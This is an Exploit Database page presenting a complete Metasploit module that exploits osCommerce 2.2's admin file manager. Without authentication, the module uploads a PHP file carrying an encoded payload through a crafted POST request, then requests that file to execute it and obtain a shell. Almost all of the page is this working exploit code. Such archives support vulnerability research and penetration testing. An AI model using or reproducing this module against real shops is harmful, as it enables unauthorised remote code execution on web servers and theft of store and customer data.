



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

osCommerce 2.2 - Arbitrary PHP Code Execution (Metasploit)

EDB-ID:

16899

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2010-07-03

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# $Id: oscommerce_filemanager.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'osCommerce 2.2 Arbitrary PHP Code
Execution',
      'Description' => %q{
        osCommerce is a popular open source E-Commerce
application.

        The admin console contains a file management utility that
allows administrators to upload, download, and edit files.
This could be abused to allow unauthenticated attackers to
execute arbitrary code with the permissions of the
webserver.
      },
      'Author' => [ 'egypt' ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision: 9669 $',
      'References' =>
        [
          [ 'OSVDB', '60018' ],
          [ 'URL', 'http://www.milw0rm.com/exploits/9556' ]
        ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => ARCH_PHP,
      'Payload' =>
        {
          'Space' => 4000,
          # max url length for some old versions of apache
according to
          # http://www.boutell.com/newfaq/misc/urllength.html
'DisableNops' => true,
          #'BadChars' => %q|'`|, # quotes are escaped by
PHP's magic_quotes_gpc in a default install
          'Compat' =>
            {
              'ConnectionType' => 'find',
            },
          # Since our payload is uploaded as a file, it is polite
to
          # clean up after ourselves.
          'Prepend' => "unlink(__FILE__);",
          'Keys' => ['php'],
        },
      'Targets' => [ ['Automatic', { }], ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Aug 31 2009'
    ))

    register_options(
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

[
    OptString.new('URI', [ true, "Base osCommerce directory
path", '/catalog/']),
], self.class)

end

def exploit
  # Our filename gets run through basename(), so we can have
arbitrary
  # junk in front of slashes and it will get stripped out. The unlink
in
  # Payload => Prepend above ensures that the file is deleted.
filename = rand_text_alphanumeric(rand(5)+5) + "/"
(rand(5)+5).times do
  filename << rand_text_alphanumeric(rand(5)+5) + "/"
end
filename << rand_text_alphanumeric(rand(5)+5) + ".php"

p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded +
" ?>" + rand_text_english(rand(100)+100)
p = Rex::Text.uri_encode(p)
data = "filename=#{filename}&file_contents=#{p}"

print_status("Sending file save request")
response = send_request_raw({
  'uri' => datastore['URI'] +
"admin/file_manager.php/login.php?action=save",
  'method' => 'POST',
  'data' => data,
  'headers' =>
  {
    'Content-Type' => 'application/x-www-form-urlencoded',
    'Content-Length' => data.length,
  }
}, 3)

# If the upload worked, the server tries to redirect us to some
info
# about the file we just saved
if response and response.code != 302
  print_error("Server returned non-302 status code (#
{response.code})")
end

print_status("Requesting our payload")
# very short timeout because the request may never return if we're
# sending a socket payload
timeout = 0.1
response = send_request_raw({
  # Allow findsock payloads to work
  'global' => true,
  'uri' => datastore['URI'] + File.basename(filename)
}, timeout)

handler

end
end

```

Tags: [Metasploit Framework](#)
([MSF](#)).

Advisory/Source: [Link](#)



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.